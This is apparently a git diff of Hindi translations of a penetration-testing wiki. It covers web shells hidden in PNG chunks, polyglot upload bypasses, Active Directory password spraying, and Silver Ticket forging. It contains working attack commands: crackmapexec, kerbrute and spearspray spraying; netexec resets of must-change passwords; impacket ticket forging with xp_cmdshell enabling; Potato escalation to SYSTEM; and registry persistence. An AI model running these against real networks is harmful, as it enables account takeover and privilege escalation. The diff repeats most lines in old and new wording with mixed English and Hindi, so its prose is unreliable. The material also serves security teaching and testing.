PNG फ़ाइल के IDAT chunk में PHP shell एम्बेड करने से कुछ छवि प्रसंस्करण ऑपरेशनों को प्रभावी रूप से बाइपास किया जा सकता है। PHP-GD के फ़ंक्शन `imagecopyresized` और `imagecopyresampled` इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें आमतौर पर छवियों को resizing और resampling करने के लिए इस्तेमाल किया जाता है। इन ऑपरेशनों से प्रभावित न होने की क्षमता कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
PNG फ़ाइल के IDAT chunk में एक PHP shell एम्बेड करने से कुछ image processing ऑपरेशनों को प्रभावी ढंग से बाइपास किया जा सकता है। PHP-GD की `imagecopyresized` और `imagecopyresampled` फ़ंक्शंस इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें आमतौर पर images को resize और resample करने के लिए उपयोग किया जाता है। एम्बेड किया गया PHP shell इन ऑपरेशनों से अप्रभावित रहने में सक्षम होना कुछ उपयोग मामलों के लिए बड़ा फायदा है।
इस तकनीक का विस्तृत अन्वेषण, इसकी कार्यप्रणाली और संभावित उपयोग सहित, निम्नलिखित लेख में दिया गया है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।
इस तकनीक की विस्तृत विवेचना, उसकी methodology और संभावित उपयोगों सहित, निम्नलिखित लेख में दी गई है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). यह संसाधन प्रक्रिया और उसके प्रभावों की व्यापक समझ प्रदान करता है।
अधिक जानकारी: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot फ़ाइलें
Polyglot फ़ाइलें साइबर सुरक्षा में एक अनोखा उपकरण हैं, जो चमेली की तरह काम करती हैं और एक साथ कई फ़ाइल फ़ॉर्मैट्स में वैध रूप से मौजूद हो सकती हैं। एक रोचक उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, एक हाइब्रिड जो GIF और RAR archive दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें केवल इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
Polyglot फ़ाइलें साइबरसुरक्षा में एक अनूठा उपकरण हैं, जो कई file formats में एक साथ वैध रूप से मौजूद रह सकती हैं — एक तरह के chameleon की तरह। एक रोचक उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो GIF और RAR archive दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें केवल इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसी combinations भी संभव हैं।
Polyglot फ़ाइलों की मुख्य उपयोगिता इस क्षमताओं में निहित है कि वे उन सुरक्षा उपायों को बाईपास कर सकती हैं जो फ़ाइलों को उनके प्रकार के आधार पर स्क्रीन करते हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा यह होती है कि केवल कुछ फ़ाइल प्रकारों को upload की अनुमति दी जाती है — जैसे JPEG, GIF, या DOC — ताकि संभावित हानिकर फ़ॉर्मैट्स (उदा., JS, PHP, या Phar फ़ाइलें) से जोखिम कम किया जा सके। हालांकि, एक polyglot कई फ़ाइल प्रकारों की संरचनात्मक मानदंडों का पालन करके इन प्रतिबंधों को चुपके से बाइपास कर सकता है।
Polyglot फ़ाइलों की मुख्य उपयोगिता यह है कि वे उन security measures को बायपास कर सकती हैं जो फ़ाइलों को उनके type के आधार पर स्क्रीन करते हैं। कई एप्लिकेशन में आम प्रैक्टिस यह होती है कि सिर्फ कुछ निश्चित file types ही upload की अनुमति दी जाए — जैसे JPEG, GIF, या DOC — ताकि संभवतः हानिकारक formats (उदा., JS, PHP, या Phar files) से जोखिम कम किया जा सके। हालांकि, एक polyglot, कई file types की structural criteria को पूरा करके, इन प्रतिबंधों को चुपचाप बायपास कर सकता है।
अपनी अनुकूलता के बावजूद, polyglots को सीमाएँ भी आती हैं। उदाहरण के लिए, जबकि एक polyglot एक साथ PHAR फ़ाइल (PHp ARchive) और JPEG दोनों हो सकती है, इसकी upload की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के प्रति सख्त है, तो केवल संरचनात्मक द्वैत होने से polyglot का अपलोड सुनिश्चित नहीं होगा
उनकी अनुकूलनशीलता के बावजूद, polyglots को सीमाओं का सामना करना पड़ता है। उदाहरण के लिए, एक polyglot में एक PHAR file और एक JPEG दोनों मौजूद हो सकते हैं, लेकिन उसकी upload की सफलता प्लेटफ़ॉर्म की file extension नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत extensions के प्रति सख्त है, तो polyglot की केवल structural duality अपलोड सुनिश्चित करने के लिए पर्याप्त नहीं हो सकती
अधिक जानकारी: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### PDF जैसा दिखाकर valid JSON अपलोड करना
PDF फ़ाइल बनाकर यह दिखाकर कि यह PDF है, अनुमति न होने पर भी वैध JSON फ़ाइल अपलोड करके file type detections से कैसे बचा जा सकता है (तकनीकें **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** से):
ऐसा कैसे करें ताकि file type detections को धोखा देकर एक valid JSON फ़ाइल अपलोड की जा सके, भले ही अनुमति न हो, अर्थात PDF फ़ाइल का नकल करना (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: जैसा कि `%PDF` magic bytes पहले 1024 bytes में होते हैं तो यह valid माना जाता है (उदाहरण पोस्ट में देखें)
- **`pdflib` library**: JSON के एक filed में fake PDF format डालें ताकि library इसे pdf समझे (उदाहरण पोस्ट में देखें)
- **`file` binary**: यह फ़ाइल से 1048576 bytes तक पढ़ सकता है। बस JSON को इससे बड़ा बना दें ताकि यह इसे json के रूप में पार्स न कर सके और फिर JSON के अंदर एक वास्तविक PDF का प्रारंभिक हिस्सा रख दें और यह इसे PDF समझ लेगा
- **`mmmagic` library**: जब तक `%PDF` magic bytes पहले 1024 bytes में हों यह वैध माना जाता है (post से उदाहरण लें)
- **`pdflib` library**: JSON के किसी field के अंदर एक fake PDF format जोड़ दें ताकि library इसे pdf समझ ले (post से उदाहरण लें)
- **`file` binary**: यह एक फ़ाइल से up to 1048576 bytes पढ़ सकता है। बस एक ऐसा JSON बनाएं जो इससे बड़ा हो ताकि यह content को json की तरह parse न कर सके और फिर JSON के अंदर एक वास्तविक PDF का प्रारंभिक भाग डाल दें — यह इसे PDF समझ लेगा
## संदर्भ
## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)

View File

@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**इस शानदार पोस्ट को देखें:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**इस बेहतरीन पोस्ट को देखें:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying**
एक बार जब आप कई **valid usernames** खोज लेते हैं, तो आप पाए गए प्रत्येक उपयोगकर्ता के साथ सबसे सामान्य **common passwords** आज़मा सकते हैं (पर्यावरण की **password policy** का ध्यान रखें).\
डिफ़ॉल्ट रूप से न्यूनतम **password** लंबाई **7** है।
एक बार जब आप कई **मान्य उपयोगकर्ता नाम** पा लेते हैं तो आप प्रत्येक खोजे गए उपयोगकर्ता के साथ सबसे अधिक प्रयुक्त **सामान्य पासवर्ड** आज़मा सकते हैं (पर्यावरण की पासवर्ड नीति को ध्यान में रखें).\\
डिफ़ॉल्ट रूप से **न्यूनतम पासवर्ड लंबाई** **7** है।
सामान्य usernames की सूचियाँ भी उपयोगी हो सकती हैं: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
सामान्य उपयोगकर्ता नामों की सूचियाँ भी उपयोगी हो सकती हैं: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
ध्यान दें कि आप कुछ **accounts** को lockout कर सकते हैं यदि आप कई गलत **passwords** आज़माते हैं (डिफ़ॉल्ट रूप से 10 से अधिक)।
ध्यान दें कि आप **कुछ खातों को लॉकआउट कर सकते हैं यदि आप कई गलत पासवर्ड आज़माते हैं** (डिफ़ॉल्ट रूप से अधिकतर 10 से अधिक गलत प्रयासों पर)।
### Password policy प्राप्त करें
### पासवर्ड नीति प्राप्त करें
यदि आपके पास कुछ user credentials हैं या domain user के रूप में कोई shell है तो आप **get the password policy with**:
यदि आपके पास कुछ user credentials हैं या domain user के रूप में shell है तो आप **पासवर्ड नीति प्राप्त कर सकते हैं**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,16 +31,16 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Exploitation from Linux (या सभी)
### Linux (या सभी) से Exploitation
- **crackmapexec:** का उपयोग
- **crackmapexec** का उपयोग:
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
- [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) का उपयोग
- [**kerbrute**](https://github.com/ropnop/kerbrute) का उपयोग करना (Go)
```bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
@ -51,7 +51,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) का उपयोग - अनुशंसित नहीं, कभी-कभी काम नहीं करता
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) का उपयोग (python) - अनुशंसित नहीं, कभी-कभी काम नहीं करता
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -69,7 +69,7 @@ done
```
#### Windows से
- [Rubeus](https://github.com/Zer1t0/Rubeus) के brute module वाले संस्करण के साथ:
- [Rubeus](https://github.com/Zer1t0/Rubeus) संस्करण के साथ जिसमें brute module शामिल है:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,7 +77,7 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- के साथ [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (यह डिफ़ॉल्ट रूप से डोमेन से उपयोगकर्ताओं को उत्पन्न कर सकता है और यह डोमेन से पासवर्ड पॉलिसी प्राप्त करेगा तथा उसके अनुसार प्रयासों को सीमित करेगा):
- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (यह डिफ़ॉल्ट रूप से डोमेन से उपयोगकर्ता उत्पन्न कर सकता है और डोमेन से पासवर्ड पॉलिसी प्राप्त करे उसके अनुसार प्रयासों को सीमित करेगा):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
@ -85,12 +85,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
Invoke-SprayEmptyPassword
```
### पहचानें और हथियाएँ "Password must change at next logon" Accounts (SAMR)
### पहचानें और जब्त करें "Password must change at next logon" खाते (SAMR)
एक कम-शोर तकनीक यह है कि किसी benign/empty password पर spray करें और उन खातों को पकड़ें जो STATUS_PASSWORD_MUST_CHANGE लौटाते हैं, जो यह संकेत देता है कि पासवर्ड जबरन समाप्त कर दिया गया था और पुराने पासवर्ड को जाने बिना उसे बदला जा सकता है।
एक कम-शोर तकनीक है benign/empty password स्प्रे करना और उन खातों को पकड़ना जो STATUS_PASSWORD_MUST_CHANGE लौटाते हैं, जो संकेत देता है कि पासवर्ड जबरन समाप्त कर दिया गया है और पुराने पासवर्ड को जाने बिना बदला जा सकता है।
Workflow:
- Enumerate users (RID brute via SAMR) to build the target list:
कार्यप्रवाह:
- उपयोगकर्ताओं का enumeration करें (RID brute via SAMR) ताकि लक्ष्य सूची बन सके:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@ -104,7 +104,7 @@ netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {p
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- प्रत्येक हिट के लिए, NetExecs मॉड्यूल के साथ SAMR पर पासवर्ड बदलें (जब "must change" सेट हो तो पुराने पासवर्ड की आवश्यकता नहीं होती):
- प्रत्येक हिट पर, SAMR के जरिए NetExecs module से पासवर्ड बदलें (जब "must change" सेट हो तो पुराने पासवर्ड की जरूरत नहीं होती):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
@ -114,8 +114,8 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
ऑपरेशनल नोट्स:
- Kerberos-based operations से पहले सुनिश्चित करें कि आपके होस्ट क्लॉक का समय DC के साथ सिंक में हो: `sudo ntpdate <dc_fqdn>`.
- कुछ मॉड्यूल्स में (उदा., RDP/WinRM) (Pwn3d!) के बिना एक [+] का मतलब है कि creds वैध हैं, लेकिन अकाउंट के पास interactive logon rights नहीं हैं।
- Kerberos-based ऑपरेशनों से पहले सुनिश्चित करें कि आपका होस्ट क्लॉक DC के साथ सिंक में हो: `sudo ntpdate <dc_fqdn>`.
- कुछ मॉड्यूलों (उदा., RDP/WinRM) में (Pwn3d!) के बिना [+] का मतलब है कि creds वैध हैं लेकिन अकाउंट के पास interactive logon rights नहीं हैं।
## Brute Force
```bash
@ -123,15 +123,15 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-authbased spraying SMB/NTLM/LDAP bind प्रयासों की तुलना में शोर कम करता है और AD lockout policies के साथ बेहतर संरेखण रखता है। SpearSpray LDAP-driven targeting, एक pattern engine, और policy awareness (domain policy + PSOs + badPwdCount buffer) को जोड़कर सटीक और सुरक्षित तरीके से spray करता है। यह compromised principals को Neo4j में tag भी कर सकता है ताकि BloodHound pathing संभव हो
Kerberos pre-authbased spraying SMB/NTLM/LDAP bind प्रयासों की तुलना में शोर कम करता है और AD lockout नीतियों के साथ बेहतर तरीके से संरेखित होता है। SpearSpray LDAP-driven targeting, एक pattern engine, और policy awareness (domain policy + PSOs + badPwdCount buffer) को जोड़कर सटीक और सुरक्षित तरीके से स्प्रे करता है। यह compromised principals को Neo4j में BloodHound pathing के लिए टैग भी कर सकता है
Key ideas:
- LDAP user discovery paging और LDAPS support के साथ, वैकल्पिक रूप से custom LDAP filters का उपयोग करते हुए
- Domain lockout policy + PSO-aware filtering ताकि एक configurable attempt buffer (threshold) छोड़ा जा सके और users को lock होने से रोका जा सके।
- Kerberos pre-auth validation fast gssapi bindings का उपयोग करते हुए (DCs पर 4625 के बजाय 4768/4771 जनरेट करता है)।
- Pattern-based, प्रति-user password generation ऐसे variables का उपयोग करते हुए जैसे names और प्रत्येक user के pwdLastSet से निकले temporal values।
- LDAP user discovery paging और LDAPS support के साथ, वैकल्पिक रूप से custom LDAP filters का उपयोग।
- Domain lockout policy + PSO-aware filtering ताकि configurable attempt buffer (threshold) छोड़ा जा सके और users को लॉक होने से बचाया जा सके।
- Kerberos pre-auth validation fast gssapi bindings का उपयोग करते हुए (DCs पर 4625 के बजाय 4768/4771 उत्पन्न करता है)।
- Pattern-based, per-user password generation ऐसे variables का उपयोग करते हुए जैसे names और प्रत्येक user के pwdLastSet से निकले temporal values।
- Throughput control threads, jitter, और max requests per second के साथ।
- Optional Neo4j integration ताकि owned users को BloodHound के लिए mark किया जा सके।
- Optional Neo4j integration owned users को BloodHound के लिए mark करने के लिये।
Basic usage and discovery:
```bash
@ -153,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
Stealth और सुरक्षा नियंत्रण:
स्टेल्थ और सुरक्षा नियंत्रण:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -161,11 +161,11 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
```
Neo4j/BloodHound समृद्धिकरण:
Neo4j/BloodHound एनरिचमेंट:
```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
```
पैटर्न सिस्टम का अवलोकन (patterns.txt):
पैटर्न सिस्टम अवलोकन (patterns.txt):
```text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
@ -176,27 +176,27 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
```
Available variables include:
- {name}, {samaccountname}
- प्रत्येक उपयोगकर्ता के pwdLastSet (या whenCreated) से समय-संबंधी: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- रचना सहायक और org token: {separator}, {suffix}, {extra}
- Temporal from each users pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Composition helpers and org token: {separator}, {suffix}, {extra}
Operational notes:
- सबसे अधिक अधिकारिक badPwdCount और नीति-संबंधी जानकारी पढ़ने के लिए PDC-emulator को -dc के साथ क्वेरी करना प्राथमिकता दें.
- badPwdCount रिसेट observation window के बाद अगली कोशिश पर ट्रिगर होते हैं; सुरक्षित रहने के लिए threshold और timing का उपयोग करें.
- Kerberos pre-auth प्रयास DC telemetry में 4768/4771 के रूप में दिखाई देते हैं; मिश्रित रहने के लिए jitter और rate-limiting का उपयोग करें.
- सबसे अधिक अधिकारिक badPwdCount और नीति-संबंधी जानकारी पढ़ने के लिए -dc के साथ PDC-emulator को क्वेरी करना बेहतर है।
- badPwdCount का रीसेट observation window के बाद अगले प्रयास पर ट्रिगर होता है; सुरक्षित रहने के लिए threshold और timing का उपयोग करें
- Kerberos pre-auth attempts DC telemetry में 4768/4771 के रूप में दिखाई देते हैं; मिश्रित रहने के लिए jitter और rate-limiting का उपयोग करें
> Tip: SpearSprays default LDAP page size is 200; आवश्यकता अनुसार -lps के साथ समायोजित करें.
> Tip: SpearSprays default LDAP page size is 200; adjust with -lps as needed.
## Outlook Web Access
p**assword spraying outlook** के लिए कई टूल्स हैं।
p**assword spraying outlook** के लिए कई tools मौजूद हैं।
- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- With [Ruler](https://github.com/sensepost/ruler) (reliable!)
- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
- के साथ [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- के साथ [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- के साथ [Ruler](https://github.com/sensepost/ruler) (विश्वसनीय!)
- के साथ [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- के साथ [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
इनमें से किसी भी टूल का उपयोग करने के लिए, आपको एक user list और एक password / छोटी password सूची चाहिए जिन्हें spray करना है.
इन tools का उपयोग करने के लिए, आपको एक user list और एक password / एक छोटी सूची passwords की आवश्यकता होती है जिन्हें spray किया जाए।
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020

View File

@ -6,13 +6,13 @@
## Silver ticket
The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. यह **Silver Ticket** हमला Active Directory (AD) वातावरण में service tickets के शोषण पर आधारित है। This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. यह तरीका किसी service account का **NTLM hash प्राप्त करने** पर निर्भर करता है, जैसे कि computer account, ताकि Ticket Granting Service (TGS) ticket को forge किया जा सके। With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. इस forged ticket के साथ, attacker नेटवर्क पर विशिष्ट services तक पहुँच सकता है, **किसी भी user के रूप में impersonate करके**, आमतौर पर administrative privileges हासिल करने के लिए। It's emphasized that using AES keys for forging tickets is more secure and less detectable. यहाँ ज़ोर दिया जाता है कि tickets को forge करने के लिए AES keys का उपयोग अधिक सुरक्षित और कम detectable होता है।
The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
> [!WARNING]
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. हालांकि, Silver Tickets Golden Tickets की तुलना में कम detectable होते हैं क्योंकि इन्हें केवल **service account का hash** चाहिए होता है, krbtgt account की आवश्यकता नहीं होती। However, they are limited to the specific service they target. हालांकि, ये केवल उस specific service तक सीमित होते हैं जिसे वे target करते हैं। Moreover, just stealing the password of a user. इसके अलावा, सिर्फ किसी user का password चुराना।
Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service. इसके अलावा, यदि आप किसी **account का password जिसमें SPN हो** compromise कर लेते हैं, तो आप उस password का उपयोग करके उस service के लिए किसी भी user के रूप में impersonate करने वाला Silver Ticket बना सकते हैं।
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
For ticket crafting, different tools are employed based on the operating system: Ticket crafting के लिए, ऑपरेटिंग सिस्टम के आधार पर विभिन्न tools का उपयोग किया जाता है:
For ticket crafting, different tools are employed based on the operating system:
### On Linux
```bash
@ -37,11 +37,11 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
CIFS सेवा को पीड़ित के फ़ाइल सिस्टम तक पहुँचने के लिए एक सामान्य लक्ष्य के रूप में हाइलाइट किया गया है, लेकिन HOST और RPCSS जैसी अन्य सेवाओं का भी टास्क और WMI क्वेरीज़ के लिए शोषण किया जा सकता है।
CIFS service को पीड़ित के फ़ाइल सिस्टम तक पहुँचने के सामान्य लक्ष्य के रूप में हाइलाइट किया गया है, लेकिन HOST और RPCSS जैसी अन्य services को भी टास्क और WMI queries के लिए एक्स्प्लोइट किया जा सकता है।
### उदाहरण: MSSQL service (MSSQLSvc) + Potato to SYSTEM
यदि आपके पास किसी SQL service account (उदा., sqlsvc) का NTLM hash (या AES key) है, तो आप MSSQL SPN के लिए एक TGS forge कर सकते हैं और SQL service पर किसी भी user को impersonate कर सकते हैं। वहां से, xp_cmdshell को enable करके SQL service account के रूप में commands execute कर सकते हैं। यदि उस token में SeImpersonatePrivilege है, तो Potato को chain करके SYSTEM तक elevate कर लें।
यदि आपके पास किसी SQL service account (उदा., sqlsvc) का NTLM hash (या AES key) है, तो आप MSSQL SPN के लिए एक TGS फोर्ज कर सकते हैं और SQL service के लिए किसी भी उपयोगकर्ता का impersonate कर सकते हैं। वहाँ से, xp_cmdshell को सक्षम करके SQL service अकाउंट के रूप में कमांड निष्पादित करें। यदि उस token में SeImpersonatePrivilege है, तो Potato को chain करके SYSTEM तक elevate कर लें।
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
@ -52,20 +52,20 @@ export KRB5CCNAME=$PWD/administrator.ccache
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- यदि परिणामी संदर्भ में SeImpersonatePrivilege हो (अक्सर service accounts के लिए सत्य), SYSTEM प्राप्त करने के लिए Potato variant का उपयोग करें:
- यदि परिणामी context में SeImpersonatePrivilege मौजूद है (अक्सर service accounts के लिए सत्य), SYSTEM प्राप्त करने के लिए Potato variant का उपयोग करें:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
```
More details on abusing MSSQL and enabling xp_cmdshell:
MSSQL का दुरुपयोग करने और xp_cmdshell को सक्षम करने के बारे में अधिक विवरण:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
Potato techniques overview:
Potato techniques का अवलोकन:
{{#ref}}
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
@ -73,53 +73,52 @@ Potato techniques overview:
## उपलब्ध सेवाएँ
| Service Type | Service Silver Tickets |
| सेवा प्रकार | Service Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>OS पर निर्भर होकर:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>कुछ परिस्थितियों में आप बस अनुरोध कर सकते हैं: WINRM</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
Using **Rubeus** you may **ask for all** these tickets using the parameter:
Rubeus का उपयोग करके आप इन सभी tickets के लिए निम्न parameter का उपयोग कर अनुरोध कर सकते हैं:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### Silver tickets Event IDs
### Silver tickets के Event IDs
- 4624: खाता लॉगऑन
- 4634: खाता लॉगऑफ
- 4672: प्रशासक लॉगऑन
## Persistence
## स्थायी पहुँच
मशीनों को हर 30 दिनों में अपना पासवर्ड बदलने से रोकने के लिए सेट करें `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` या आप `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` को 30days से बड़े मान पर सेट कर सकते हैं ताकि यह बत सके कि मशीन का पासवर्ड किस अवधि पर रोटेट होना चाहिए।
मशीनों के पासवर्ड को हर 30 दिनों में बदलने से रोकने के लिए `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` सेट करें या आप `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` को 30 दिनों से बड़ी वैल्यू पर सेट कर सकते हैं ताकि यह बताना आसान हो कि मशीन का पासवर्ड कब रोटेट होना चाहिए।
## Abusing Service tickets
## Service tickets का दुरुपयोग
ीचे के उदाहरणों में मान लें कि टिकट प्रशासक खाते का नक्कल करके हासिल किया गया है।
िम्न उदाहरणों में मान लें कि टिकट प्रशासक खाते की नकल करके प्राप्त किया गया है।
### CIFS
